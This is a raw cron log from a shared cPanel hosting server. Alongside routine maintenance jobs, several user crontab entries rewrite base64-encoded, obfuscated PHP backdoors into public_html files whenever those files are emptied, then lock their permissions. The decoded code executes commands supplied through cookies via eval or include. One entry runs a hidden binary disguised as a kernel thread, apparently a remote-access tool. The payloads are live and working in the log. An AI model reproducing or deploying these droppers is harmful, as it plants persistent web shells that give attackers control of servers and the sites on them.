Mar  2 17:00:02 medusa CROND[19642]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 17:00:02 medusa CROND[19643]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 17:00:02 medusa CROND[19645]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19648]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 17:00:02 medusa CROND[19649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19653]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:00:02 medusa CROND[19646]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 17:00:02 medusa CROND[19654]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 17:00:02 medusa CROND[19657]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 17:00:02 medusa CROND[19651]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 17:00:02 medusa CROND[19665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:00:02 medusa CROND[19659]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 17:00:02 medusa CROND[19658]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19675]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 17:00:02 medusa CROND[19682]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 17:00:02 medusa CROND[19684]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19685]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19686]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:00:02 medusa CROND[19691]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19689]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19692]: (mauro2) CMD (curl www.comignani.com/update.php)
Mar  2 17:00:02 medusa CROND[19696]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 17:00:02 medusa CROND[19676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 17:00:02 medusa CROND[19720]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 17:00:02 medusa CROND[19721]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 17:00:02 medusa CROND[19738]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:00:02 medusa CROND[19744]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 17:00:02 medusa CROND[19739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 17:00:02 medusa CROND[19741]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19751]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 17:01:01 medusa CROND[5645]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 17:01:01 medusa CROND[5711]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 17:01:01 medusa CROND[5771]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 17:01:01 medusa CROND[5773]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:01:01 medusa CROND[5774]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 17:01:01 medusa CROND[5777]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 17:01:01 medusa CROND[5776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 17:01:01 medusa CROND[5775]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 17:01:01 medusa CROND[5772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 17:01:01 medusa CROND[5782]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:01:01 medusa CROND[5784]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:01:01 medusa CROND[5785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 17:01:01 medusa CROND[5786]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 17:01:01 medusa CROND[5783]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:01:01 medusa run-parts(/etc/cron.hourly)[5771]: starting 0anacron
Mar  2 17:01:01 medusa run-parts(/etc/cron.hourly)[5836]: finished 0anacron
Mar  2 17:02:01 medusa CROND[27005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
